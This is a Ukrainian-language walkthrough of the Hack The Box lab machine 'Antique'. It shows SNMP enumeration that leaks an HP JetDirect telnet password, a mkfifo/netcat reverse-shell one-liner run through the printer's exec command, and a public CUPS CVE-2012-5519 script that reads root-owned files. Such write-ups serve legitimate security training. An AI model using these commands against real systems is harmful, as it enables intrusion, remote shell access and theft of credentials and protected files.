Antique - Linux машина легкого рівня. Доволі цікавий шлях первинного проникнення до системи. Гарна можливість познайомитись з роботою протоколу SNMP.
Розвідка
Традиційно, починаємо з autorecon:
$ autorecon x.x.x.x --single-target --no-port-dirs
Результат Nmap:
PORT STATE SERVICE REASON VERSION
23/tcp open telnet? syn-ack ttl 63
161/udp open snmp udp-response ttl 63 SNMPv1 server (public)
Цікаво, зазвичай, якщо на машині відкритий SNMP порт, то там ми маємо знайти якусь корисну інформацію, наприклад паролі, імена користувачів, дані про систему або процеси тощо.
Але поки що єдине, що вдалось знайти за допомогою snmpwalk, це:
snmpwalk -c public -v 1 x.x.x.x 2>&1
iso.3.6.1.2.1 = STRING: "HTB Printer"
Схоже на машині запущений сервіс принтера. Інформації не багацько. Спробуємо встановити telnet з’єднання:
$ telnet x.x.x.x
Trying x.x.x.x...
Connected to x.x.x.x.
Escape character is '^]'.
HP JetDirect
Password:
Бачимо, що для встановлення з’єднання потрібен пароль. Прості паролі типу admin/password/123456 не пройшли, тож спробуємо пошукати вразливості для “HP JetDirect“, які можуть бути у відкритому доступі.
ExploitDB як завжди нас виручає - HP JetDirect Printer - SNMP JetAdmin Device Password Disclosure.
CVE-2002-1048 - HP JetDirect принтери дозволяють віддаленому користувачу отримати пароль адміністратора для веб і telnet сервісів шляхом виконання GET запиту на отримання значення яке відповідає OID .1.3.6.1.4.1.11.2.3.9.4.2.1.3.9.1.1.0.
Пазл склався, повторимо попередній запит snmpwalk, тільки тепер вказуємо змінну, яка повинна містити пароль адміністратора:
snmpwalk -c public -v 1 x.x.x.x .1.3.6.1.4.1.11.2.3.9.1.1.13.0 2>&1
iso.3.6.1.4.1.11.2.3.9.1.1.13.0 = BITS: 50 40 73 73 77 30 72 64 40 31 32 33 21 21 31 32
33 1 3 9 17 18 19 22 23 25 26 27 30 31 33 34 35 37 38 39 42 43 49 50 51 54 57 58 61 65 74 75 79 82 83 86 90 91 94 95 98 103 106 111 114 115 119 122 123 126 130 131 134 135
Первинне проникнення
Декодувавши Hex значення отримане на попередньому кроці, встановлюємо автентифіковане telnet з’єднання:
$ telnet x.x.x.x
Trying x.x.x.x ...
Connected to x.x.x.x.
Escape character is '^]'.
HP JetDirect
Password: hehehehe
Please type "?" for HELP
>
Переглянемо доступні дії на цій машині:
> ?
To Change/Configure Parameters Enter:
Parameter-name: value <Carriage Return>
Parameter-name Type of value
ip: IP-address in dotted notation
subnet-mask: address in dotted notation (enter 0 for default)
default-gw: address in dotted notation (enter 0 for default)
syslog-svr: address in dotted notation (enter 0 for default)
idle-timeout: seconds in integers
set-cmnty-name: alpha-numeric string (32 chars max)
host-name: alpha-numeric string (upper case only, 32 chars max)
dhcp-config: 0 to disable, 1 to enable
allow: <ip> [mask] (0 to clear, list to display, 10 max)
addrawport: <TCP port num> (<TCP port num> 3000-9000)
deleterawport: <TCP port num>
listrawport: (No parameter required)
exec: execute system commands (exec id)
exit: quit from telnet session
Найцікавішою для нас тут, звісно, є exec 🙂 Налаштовуємо netcat у режимі прослуховування порту і запустимо на цільовій машині команду для встановлення зворотного з’єднання на нашу машину:
> exec rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc y.y.y.y 4444 >/tmp/f
Отримуємо з’єднання:
$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.14.20] from (UNKNOWN) [10.129.138.116] 34084
/bin/sh: 0: can't access tty; job control turned off
$ whoami
lp
Підвищення привілеїв
Продовжуємо збір даних на цільовій машині з метою пошуку можливого вектора підвищення привілеїв. На локальному хості є відкритий порт 631:
$ netstat -ano
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State Timer
tcp 0 0 0.0.0.0:23 0.0.0.0:* LISTEN off (0.00/0/0)
tcp 0 0 127.0.0.1:631 0.0.0.0:* LISTEN off (0.00/0/0)
tcp 0 0 10.129.138.116:34084 10.10.14.20:4444 ESTABLISHED off (0.00/0/0)
tcp 0 0 10.129.138.116:23 10.10.14.20:57766 ESTABLISHED off (0.00/0/0)
tcp6 0 0 ::1:631 :::* LISTEN off (0.00/0/0)
udp 0 0 10.129.138.116:54797 8.8.8.8:53 ESTABLISHED off (0.00/0/0)
udp 0 0 0.0.0.0:68 0.0.0.0:* off (0.00/0/0)
udp 0 0 0.0.0.0:161 0.0.0.0:* off (0.00/0/0)
Трохи по розвідувавши про цей порт у мережі, дізнаємось, що ймовірно це Протокол Інтернет-друку (IPP). Що цікаво, у цьому джерелі також зазначено наступне:
Відома реалізація IPP - CUPS, відкрита система друку, яка поширена в різних дистрибутивах Linux та OS X.
Це привернуло мою увагу, тому що у списку запущених процесів фігурує такий запис:
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1163 0.0 0.0 20392 3396 ? Ss 09:13 0:00 /usr/sbin/cupsd -C /etc/cups/cupsd.conf
Знахідка виглядає потенційною, адже процес запущений під користувачем root, а отже скомпрометувавши його, є шанс виконати якісь дії від його імені. Спробуємо дізнатись більше про цей сервіс:
$ curl http://localhost:631
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<HTML>
<HEAD>
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=utf-8">
<TITLE>Home - CUPS 1.6.1</TITLE>
<LINK REL="STYLESHEET" TYPE="text/css" HREF="/cups.css">
<LINK REL="SHORTCUT ICON" HREF="/images/cups-icon.png" TYPE="image/png">
</HEAD>
Виявляється, що версія CUPS 1.6.1 має вразливість CVE-2012-5519.
CVE-2012-5519 - сервіс CUPS <1.6.2, запущений на певних Linux дистрибутивах таких як Debian GNU/Linux, зберігає ключі адміністратора вебінтерфейсу у /var/run/cups/certs/0, використовуючи права доступу, які дозволяють локальним користувачам, які є членами lpadmin групи, читати довільні файли з правами користувача root.
За щасливим збігом обставин, наш поточний користувач є членом lpadmin групи, тож спробуємо застосувати знайдений у мережі експлойт:
$ id
uid=7(lp) gid=7(lp) groups=7(lp),19(lpadmin)
$ ./cups-root-file-read.sh
_
___ _ _ _ __ ___ _ __ ___ ___ | |_
/ __| | | | '_ \/ __|_____| '__/ _ \ / _ \| __|____
| (__| |_| | |_) \__ \_____| | | (_) | (_) | ||_____|
\___|\__,_| .__/|___/ |_| \___/ \___/ \__|
/ _(_) | _|_| _ __ ___ __ _ __| | ___| |__
| |_| | |/ _ \_____| '__/ _ \/ _` |/ _` | / __| '_ \
| _| | | __/_____| | | __/ (_| | (_| |_\__ \ | | |
|_| |_|_|\___| |_| \___|\__,_|\__,_(_)___/_| |_|
a bash implementation of CVE-2012-5519 for linux.
[i] performing checks...
[i] checking for cupsctl command...
[+] cupsctl binary found in path.
[i] checking cups version...
[+] using cups 1.6.1. version may be vulnerable.
[i] checking user lp in lpadmin group...
[+] user part of lpadmin group.
[i] checking for curl command...
[+] curl binary found in path.
[+] all checks passed.
[!] warning!: this script will set the group ownership of
[!] viewed files to user 'lp'.
[!] files will be created as root and with group ownership of
[!] user 'lp' if a nonexistant file is submitted.
[!] changes will be made to /etc/cups/cups.conf file as part of the
[!] exploit. it may be wise to backup this file or copy its contents
[!] before running the script any further if this is a production
[!] environment and/or seek permissions beforehand.
[!] the nature of this exploit is messy even if you know what you're looking for.
[i] usage:
input must be an absolute path to an existing file.
eg.
1. /root/.ssh/id_rsa
2. /root/.bash_history
3. /etc/shadow
4. /etc/sudoers ... etc.
[i] ./cups-root-file-read.sh commands:
type 'info' for exploit details.
type 'help' for this dialog text.
type 'quit' to exit the script.
[i] for more information on the limitations
[i] of the script and exploit, please visit:
[i] https://github.com/0zvxr/CVE-2012-5519/blob/main/README.md
[>] /root/.ssh/id_rsa
[!] the server is returning a 404 status code.
[!] your input may contain a nonexistent directory or perhaps
[!] you have pointed towards a directory instead of a file.
[i] type 'help' for examples, or
[i] for more information on the limitations
[i] of the script and exploit, please visit:
[i] https://github.com/0zvxr/CVE-2012-5519/blob/main/README.md
[>] /root/root.txt
[+] contents of /root/root.txt:
hehehehe
Таким чином, нам вдалось забрати прапорець, який лежав у домашній директорії root користувача, але повної влади ми все ж не отримали. Впевнена, що можливо знайти шлях до повного root, але якщо навіть офіційний Write-up зупинився на цьому, то зупинюсь і я, бо по попереду ще багатенько машин і різноманітних викликів.